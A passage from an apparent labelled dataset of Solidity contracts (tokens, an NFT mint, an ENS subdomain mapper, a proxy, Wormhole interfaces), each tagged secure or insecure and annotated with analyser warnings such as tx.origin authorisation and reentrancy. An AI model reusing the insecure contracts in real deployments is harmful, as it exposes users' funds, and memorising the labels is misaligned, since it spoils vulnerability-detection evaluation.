"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Fuck is Context, IERC20 {\n using SafeMath for uint256;\n\n string private constant _name = \"Fuck\";\n string private constant _symbol = \"FUCK\";\n uint8 private constant _decimals = 18;\n uint256 private _tTotal = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f301d0): Fuck.uniswapV2Router should be immutable \n\t// Recommendation for 9f301d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: d3575e7): Fuck.uniswapV2Pair should be immutable \n\t// Recommendation for d3575e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function namFunction() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _burnTokens(address from, uint256 value) internal {\n require(from != address(0), \"ERC20: burn from the zero address\");\n balances[from] = balances[from].sub(\n value,\n \"ERC20: burn amount exceeds balance\"\n );\n _tTotal = _tTotal.sub(value);\n emit Transfer(from, address(0), value);\n }\n\n function burn(uint256 amount) external {\n _burnTokens(_msgSender(), amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n balances[from] -= amount;\n balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1883.sol",
"secure": 1,
"size_bytes": 5301
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SaulCoin is ERC20 {\n constructor() ERC20(\"Saul Goodman\", \"SAUL\") {\n _mint(msg.sender, 6_000_000_000_000 * 10 ** uint256(decimals()));\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_1884.sol",
"secure": 1,
"size_bytes": 383
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PEPEJEET is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"PEPE JEET \", \"PEPEJ \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c44e82b): PEPEJEET.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for c44e82b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 358fe01): PEPEJEET.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 358fe01: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: c44e82b\n\t\t// incorrect-equality | ID: 358fe01\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: c44e82b\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1b727a9): PEPEJEET._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 1b727a9: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 1b727a9\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ded6e24): PEPEJEET.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for ded6e24: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: ded6e24\n pool = poolAddress;\n }\n}",
"file_name": "solidity_code_1885.sol",
"secure": 0,
"size_bytes": 2796
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./OperatorFilterer.sol\" as OperatorFilterer;\n\nabstract contract TheOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION =\n address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\t// WARNING Optimization Issue (immutable-states | ID: ce2e413): TheOperatorFilterer.owner should be immutable \n\t// Recommendation for ce2e413: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}",
"file_name": "solidity_code_1886.sol",
"secure": 1,
"size_bytes": 632
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./TheOperatorFilterer.sol\" as TheOperatorFilterer;\n\ncontract SqubblesbyKYma is ERC721A, TheOperatorFilterer {\n string URI =\n \"ipfs://bafybeicvsylu2soz4tieov5osskw2hnuvjwkh77ks474wxkabq4yqqsvs4/\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e15c2c7): SqubblesbyKYma.MAXSUPPLY should be constant \n\t// Recommendation for e15c2c7: Add the 'constant' attribute to state variables that never change.\n uint256 public MAXSUPPLY = 999;\n\n\t// WARNING Optimization Issue (constable-states | ID: 805d4e4): SqubblesbyKYma.MINTPRICE should be constant \n\t// Recommendation for 805d4e4: Add the 'constant' attribute to state variables that never change.\n uint256 public MINTPRICE = 0.0015 ether;\n\n mapping(address => uint256) private _userForFree;\n\n mapping(uint256 => uint256) private _userMinted;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= MAXSUPPLY);\n _mint(amount);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: c5915c9): SqubblesbyKYma._mint(uint256) uses tx.origin for authorization require(bool)(_userMinted[block.number] < FreeNum() && _userForFree[tx.origin] < 1)\n\t// Recommendation for c5915c9: Do not use 'tx.origin' for authorization.\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n require(amount == 1);\n if (totalSupply() > MAXSUPPLY / 3) {\n\t\t\t\t// tx-origin | ID: c5915c9\n require(\n _userMinted[block.number] < FreeNum() &&\n _userForFree[tx.origin] < 1\n );\n _userForFree[tx.origin]++;\n _userMinted[block.number]++;\n }\n _safeMint(msg.sender, 1);\n } else {\n require(msg.value >= MINTPRICE * amount);\n _safeMint(msg.sender, amount);\n }\n }\n\n function teamMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= MAXSUPPLY);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Squbbles by KYma\", \"SBK\") {\n owner = msg.sender;\n }\n\n function setURi(string memory u) public onlyOwner {\n URI = u;\n }\n\n function maxSupply() public view returns (uint256) {\n return MAXSUPPLY;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(URI, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n return (MAXSUPPLY - totalSupply()) / 12;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 60) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}",
"file_name": "solidity_code_1887.sol",
"secure": 0,
"size_bytes": 4301
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721 {\n function balanceOf(address owner) external view returns (uint256);\n function ownerOf(uint256 tokenId) external view returns (address);\n}",
"file_name": "solidity_code_1888.sol",
"secure": 1,
"size_bytes": 228
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface INFTNames {\n function names(uint256 tokenId) external view returns (string memory);\n}",
"file_name": "solidity_code_1889.sol",
"secure": 1,
"size_bytes": 162
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_189.sol",
"secure": 1,
"size_bytes": 263
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IENSResolver {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1a4b8c): IENSResolver.setAddr(bytes32,address).addr shadows IENSResolver.addr(bytes32) (function)\n\t// Recommendation for d1a4b8c: Rename the local variables that shadow another component.\n function setAddr(bytes32 node, address addr) external;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1a4b8c): IENSResolver.setAddr(bytes32,address).addr shadows IENSResolver.addr(bytes32) (function)\n\t// Recommendation for d1a4b8c: Rename the local variables that shadow another component.\n function addr(bytes32 node) external view returns (address);\n}",
"file_name": "solidity_code_1890.sol",
"secure": 0,
"size_bytes": 729
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IENSRegistry {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e594a99): IENSRegistry.setOwner(bytes32,address).owner shadows IENSRegistry.owner(bytes32) (function)\n\t// Recommendation for e594a99: Rename the local variables that shadow another component.\n function setOwner(bytes32 node, address owner) external;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c78aa7): IENSRegistry.setSubnodeOwner(bytes32,bytes32,address).owner shadows IENSRegistry.owner(bytes32) (function)\n\t// Recommendation for 3c78aa7: Rename the local variables that shadow another component.\n function setSubnodeOwner(\n bytes32 node,\n bytes32 label,\n address owner\n ) external;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2739734): IENSRegistry.setResolver(bytes32,address).resolver shadows IENSRegistry.resolver(bytes32) (function)\n\t// Recommendation for 2739734: Rename the local variables that shadow another component.\n function setResolver(bytes32 node, address resolver) external;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e594a99): IENSRegistry.setOwner(bytes32,address).owner shadows IENSRegistry.owner(bytes32) (function)\n\t// Recommendation for e594a99: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c78aa7): IENSRegistry.setSubnodeOwner(bytes32,bytes32,address).owner shadows IENSRegistry.owner(bytes32) (function)\n\t// Recommendation for 3c78aa7: Rename the local variables that shadow another component.\n function owner(bytes32 node) external view returns (address);\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2739734): IENSRegistry.setResolver(bytes32,address).resolver shadows IENSRegistry.resolver(bytes32) (function)\n\t// Recommendation for 2739734: Rename the local variables that shadow another component.\n function resolver(bytes32 node) external view returns (address);\n}",
"file_name": "solidity_code_1891.sol",
"secure": 0,
"size_bytes": 2082
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"./INFTNames.sol\" as INFTNames;\nimport \"./IENSResolver.sol\" as IENSResolver;\nimport \"./IENSRegistry.sol\" as IENSRegistry;\n\ncontract SWAMPMAPPER {\n bytes32 private constant EMPTY_NAMEHASH = 0x00;\n\t// WARNING Optimization Issue (immutable-states | ID: 49e9726): SWAMPMAPPER.owner should be immutable \n\t// Recommendation for 49e9726: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private owner;\n IERC721 private immutable tdbc;\n INFTNames private immutable nftNames;\n IENSRegistry private registry;\n IENSResolver private resolver;\n bool public locked;\n\n event SubdomainCreated(\n address indexed creator,\n address indexed owner,\n string subdomain,\n string domain,\n string topdomain\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event RegistryUpdated(\n address indexed previousRegistry,\n address indexed newRegistry\n );\n event ResolverUpdated(\n address indexed previousResolver,\n address indexed newResolver\n );\n event DomainTransfersLocked();\n\n constructor(\n IERC721 _swampBoats,\n INFTNames _nftNames,\n IENSRegistry _registry,\n IENSResolver _resolver\n ) {\n owner = msg.sender;\n tdbc = _swampBoats;\n nftNames = _nftNames;\n registry = _registry;\n resolver = _resolver;\n locked = false;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a094ccc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a094ccc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function newSubdomain(\n uint256 _tokenId,\n string calldata _domain,\n string calldata _topdomain,\n address _owner,\n address _target\n ) external {\n require(tdbc.ownerOf(_tokenId) == _owner, \"UNAUTHORIZED\");\n\n string memory _subdomain = nftNames.names(_tokenId);\n\n bytes32 topdomainNamehash = keccak256(\n abi.encodePacked(\n EMPTY_NAMEHASH,\n keccak256(abi.encodePacked(_topdomain))\n )\n );\n bytes32 domainNamehash = keccak256(\n abi.encodePacked(\n topdomainNamehash,\n keccak256(abi.encodePacked(_domain))\n )\n );\n require(\n registry.owner(domainNamehash) == address(this),\n \"INVALID_DOMAIN\"\n );\n\n bytes32 subdomainLabelhash = keccak256(abi.encodePacked(_subdomain));\n bytes32 subdomainNamehash = keccak256(\n abi.encodePacked(domainNamehash, subdomainLabelhash)\n );\n require(\n registry.owner(subdomainNamehash) == address(0) ||\n registry.owner(subdomainNamehash) == msg.sender,\n \"SUB_DOMAIN_ALREADY_OWNED\"\n );\n\n\t\t// reentrancy-events | ID: a094ccc\n registry.setSubnodeOwner(\n domainNamehash,\n subdomainLabelhash,\n address(this)\n );\n\t\t// reentrancy-events | ID: a094ccc\n registry.setResolver(subdomainNamehash, address(resolver));\n\t\t// reentrancy-events | ID: a094ccc\n resolver.setAddr(subdomainNamehash, _target);\n\t\t// reentrancy-events | ID: a094ccc\n registry.setOwner(subdomainNamehash, _owner);\n\n\t\t// reentrancy-events | ID: a094ccc\n emit SubdomainCreated(\n msg.sender,\n _owner,\n _subdomain,\n _domain,\n _topdomain\n );\n }\n\n function domainOwner(\n string calldata _domain,\n string calldata _topdomain\n ) external view returns (address) {\n bytes32 topdomainNamehash = keccak256(\n abi.encodePacked(\n EMPTY_NAMEHASH,\n keccak256(abi.encodePacked(_topdomain))\n )\n );\n bytes32 namehash = keccak256(\n abi.encodePacked(\n topdomainNamehash,\n keccak256(abi.encodePacked(_domain))\n )\n );\n return registry.owner(namehash);\n }\n\n function subdomainOwner(\n string calldata _subdomain,\n string calldata _domain,\n string calldata _topdomain\n ) external view returns (address) {\n bytes32 topdomainNamehash = keccak256(\n abi.encodePacked(\n EMPTY_NAMEHASH,\n keccak256(abi.encodePacked(_topdomain))\n )\n );\n bytes32 domainNamehash = keccak256(\n abi.encodePacked(\n topdomainNamehash,\n keccak256(abi.encodePacked(_domain))\n )\n );\n bytes32 subdomainNamehash = keccak256(\n abi.encodePacked(\n domainNamehash,\n keccak256(abi.encodePacked(_subdomain))\n )\n );\n\n return registry.owner(subdomainNamehash);\n }\n\n function subdomainTarget(\n string calldata _subdomain,\n string calldata _domain,\n string calldata _topdomain\n ) external view returns (address) {\n bytes32 topdomainNamehash = keccak256(\n abi.encodePacked(\n EMPTY_NAMEHASH,\n keccak256(abi.encodePacked(_topdomain))\n )\n );\n bytes32 domainNamehash = keccak256(\n abi.encodePacked(\n topdomainNamehash,\n keccak256(abi.encodePacked(_domain))\n )\n );\n bytes32 subdomainNamehash = keccak256(\n abi.encodePacked(\n domainNamehash,\n keccak256(abi.encodePacked(_subdomain))\n )\n );\n address currentResolver = registry.resolver(subdomainNamehash);\n\n return IENSResolver(currentResolver).addr(subdomainNamehash);\n }\n\n function transferDomainOwnership(\n bytes32 _node,\n address _owner\n ) external onlyOwner {\n require(!locked);\n registry.setOwner(_node, _owner);\n }\n\n function lockDomainOwnershipTransfers() external onlyOwner {\n require(!locked);\n locked = true;\n emit DomainTransfersLocked();\n }\n\n function updateRegistry(IENSRegistry _registry) external onlyOwner {\n require(registry != _registry, \"INVALID_REGISTRY\");\n emit RegistryUpdated(address(registry), address(_registry));\n registry = _registry;\n }\n\n function updateResolver(IENSResolver _resolver) external onlyOwner {\n require(resolver != _resolver, \"INVALID_RESOLVER\");\n emit ResolverUpdated(address(resolver), address(_resolver));\n resolver = _resolver;\n }\n}",
"file_name": "solidity_code_1892.sol",
"secure": 0,
"size_bytes": 7266
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\" as Proxy;\nimport \"./StorageSlot.sol\" as StorageSlot;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract SecondSelf is Proxy {\n event Upgraded(address indexed implementation);\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bbf6326): The return value of an external call is not stored in a local or state variable.\n\t// Recommendation for bbf6326: Ensure that all the return values of the function calls are used.\n constructor() {\n assert(\n _IMPLEMENTATION_SLOT ==\n bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1)\n );\n StorageSlot\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = 0x77F23779cFB1C30BE694F6664CE425D95c17049A;\n emit Upgraded(0x77F23779cFB1C30BE694F6664CE425D95c17049A);\n\t\t// unused-return | ID: bbf6326\n Address.functionDelegateCall(\n 0x77F23779cFB1C30BE694F6664CE425D95c17049A,\n abi.encodeWithSignature(\n \"init(bool[2],address[3],uint256[6],string[3])\",\n [false, true],\n [\n 0x0000000000000000000000000000000000000000,\n 0x0000000000000000000000000000000000000000,\n 0x1BAAd9BFa20Eb279d2E3f3e859e3ae9ddE666c52\n ],\n [500, 0, 0, 8888, 100, 300],\n [\n \"Second Self\",\n \"SELF\",\n \"QmcWJFk8Ji83ZbcwxpPjizfEWbV7edibYT8bqpzV1uSYR9\"\n ]\n )\n );\n }\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal view override returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5a9007e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5a9007e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8c277c9): SecondSelf.upgradeTo(address,bytes,bool,uint8,bytes32,bytes32) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 8c277c9: Ensure that all the return values of the function calls are used.\n function upgradeTo(\n address newImplementation,\n bytes memory data,\n bool forceCall,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n require(msg.sender == 0xca68BA6328Cc29D022B2b30A3B4f9d1Db4B55FfF);\n bytes32 base = keccak256(abi.encode(address(this), newImplementation));\n bytes32 hash = keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", base)\n );\n\n require(\n ecrecover(hash, v, r, s) ==\n 0x1BAAd9BFa20Eb279d2E3f3e859e3ae9ddE666c52\n );\n\n StorageSlot\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n if (data.length > 0 || forceCall) {\n\t\t\t// reentrancy-events | ID: 5a9007e\n\t\t\t// unused-return | ID: 8c277c9\n Address.functionDelegateCall(newImplementation, data);\n }\n\t\t// reentrancy-events | ID: 5a9007e\n emit Upgraded(newImplementation);\n }\n}",
"file_name": "solidity_code_1893.sol",
"secure": 0,
"size_bytes": 3813
} |
{
"code": "// SPDX-License-Identifier: Apache 2\n\npragma solidity ^0.8.0;\n\ninterface IWormholeRelayerBase {\n event SendEvent(\n uint64 indexed sequence,\n uint256 deliveryQuote,\n uint256 paymentForExtraReceiverValue\n );\n\n function getRegisteredWormholeRelayerContract(\n uint16 chainId\n ) external view returns (bytes32);\n}",
"file_name": "solidity_code_1894.sol",
"secure": 1,
"size_bytes": 362
} |
{
"code": "// SPDX-License-Identifier: Apache 2\n\npragma solidity ^0.8.0;\n\nimport \"./IWormholeRelayerBase.sol\" as IWormholeRelayerBase;\n\ninterface IWormholeRelayerSend is IWormholeRelayerBase {\n function sendPayloadToEvm(\n uint16 targetChain,\n address targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 gasLimit\n ) external payable returns (uint64 sequence);\n\n function sendPayloadToEvm(\n uint16 targetChain,\n address targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 gasLimit,\n uint16 refundChain,\n address refundAddress\n ) external payable returns (uint64 sequence);\n\n function sendVaasToEvm(\n uint16 targetChain,\n address targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 gasLimit,\n VaaKey[] memory vaaKeys\n ) external payable returns (uint64 sequence);\n\n function sendVaasToEvm(\n uint16 targetChain,\n address targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 gasLimit,\n VaaKey[] memory vaaKeys,\n uint16 refundChain,\n address refundAddress\n ) external payable returns (uint64 sequence);\n\n function sendToEvm(\n uint16 targetChain,\n address targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 paymentForExtraReceiverValue,\n uint256 gasLimit,\n uint16 refundChain,\n address refundAddress,\n address deliveryProviderAddress,\n VaaKey[] memory vaaKeys,\n uint8 consistencyLevel\n ) external payable returns (uint64 sequence);\n\n function send(\n uint16 targetChain,\n bytes32 targetAddress,\n bytes memory payload,\n uint256 receiverValue,\n uint256 paymentForExtraReceiverValue,\n bytes memory encodedExecutionParameters,\n uint16 refundChain,\n bytes32 refundAddress,\n address deliveryProviderAddress,\n VaaKey[] memory vaaKeys,\n uint8 consistencyLevel\n ) external payable returns (uint64 sequence);\n\n function resendToEvm(\n VaaKey memory deliveryVaaKey,\n uint16 targetChain,\n uint256 newReceiverValue,\n uint256 newGasLimit,\n address newDeliveryProviderAddress\n ) external payable returns (uint64 sequence);\n\n function resend(\n VaaKey memory deliveryVaaKey,\n uint16 targetChain,\n uint256 newReceiverValue,\n bytes memory newEncodedExecutionParameters,\n address newDeliveryProviderAddress\n ) external payable returns (uint64 sequence);\n\n function quoteEVMDeliveryPrice(\n uint16 targetChain,\n uint256 receiverValue,\n uint256 gasLimit\n )\n external\n view\n returns (\n uint256 nativePriceQuote,\n uint256 targetChainRefundPerGasUnused\n );\n\n function quoteEVMDeliveryPrice(\n uint16 targetChain,\n uint256 receiverValue,\n uint256 gasLimit,\n address deliveryProviderAddress\n )\n external\n view\n returns (\n uint256 nativePriceQuote,\n uint256 targetChainRefundPerGasUnused\n );\n\n function quoteDeliveryPrice(\n uint16 targetChain,\n uint256 receiverValue,\n bytes memory encodedExecutionParameters,\n address deliveryProviderAddress\n )\n external\n view\n returns (uint256 nativePriceQuote, bytes memory encodedExecutionInfo);\n\n function quoteNativeForChain(\n uint16 targetChain,\n uint256 currentChainAmount,\n address deliveryProviderAddress\n ) external view returns (uint256 targetChainAmount);\n\n function getDefaultDeliveryProvider()\n external\n view\n returns (address deliveryProvider);\n}",
"file_name": "solidity_code_1895.sol",
"secure": 1,
"size_bytes": 3997
} |
{
"code": "// SPDX-License-Identifier: Apache 2\n\npragma solidity ^0.8.0;\n\nimport \"./IWormholeRelayerBase.sol\" as IWormholeRelayerBase;\n\ninterface IWormholeRelayerDelivery is IWormholeRelayerBase {\n enum DeliveryStatus {\n SUCCESS,\n RECEIVER_FAILURE\n }\n\n enum RefundStatus {\n REFUND_SENT,\n REFUND_FAIL,\n CROSS_CHAIN_REFUND_SENT,\n CROSS_CHAIN_REFUND_FAIL_PROVIDER_NOT_SUPPORTED,\n CROSS_CHAIN_REFUND_FAIL_NOT_ENOUGH\n }\n\n event Delivery(\n address indexed recipientContract,\n uint16 indexed sourceChain,\n uint64 indexed sequence,\n bytes32 deliveryVaaHash,\n DeliveryStatus status,\n uint256 gasUsed,\n RefundStatus refundStatus,\n bytes additionalStatusInfo,\n bytes overridesInfo\n );\n\n function deliver(\n bytes[] memory encodedVMs,\n bytes memory encodedDeliveryVAA,\n address payable relayerRefundAddress,\n bytes memory deliveryOverrides\n ) external payable;\n}",
"file_name": "solidity_code_1896.sol",
"secure": 1,
"size_bytes": 1040
} |
{
"code": "// SPDX-License-Identifier: Apache 2\n\npragma solidity ^0.8.0;\n\nimport \"./IWormholeRelayerDelivery.sol\" as IWormholeRelayerDelivery;\nimport \"./IWormholeRelayerSend.sol\" as IWormholeRelayerSend;\n\ninterface IWormholeRelayer is IWormholeRelayerDelivery, IWormholeRelayerSend {}\n\nuint256 constant RETURNDATA_TRUNCATION_THRESHOLD = 132;\n\nerror InvalidMsgValue(uint256 msgValue, uint256 totalFee);\n\nerror RequestedGasLimitTooLow();\n\nerror DeliveryProviderDoesNotSupportTargetChain(\n address relayer,\n uint16 chainId\n);\nerror DeliveryProviderCannotReceivePayment();\n\nerror ReentrantDelivery(address msgSender, address lockedBy);\n\nerror InvalidPayloadId(uint8 parsed, uint8 expected);\nerror InvalidPayloadLength(uint256 received, uint256 expected);\nerror InvalidVaaKeyType(uint8 parsed);\n\nerror InvalidDeliveryVaa(string reason);\n\nerror InvalidEmitter(bytes32 emitter, bytes32 registered, uint16 chainId);\nerror VaaKeysLengthDoesNotMatchVaasLength(uint256 keys, uint256 vaas);\nerror VaaKeysDoNotMatchVaas(uint8 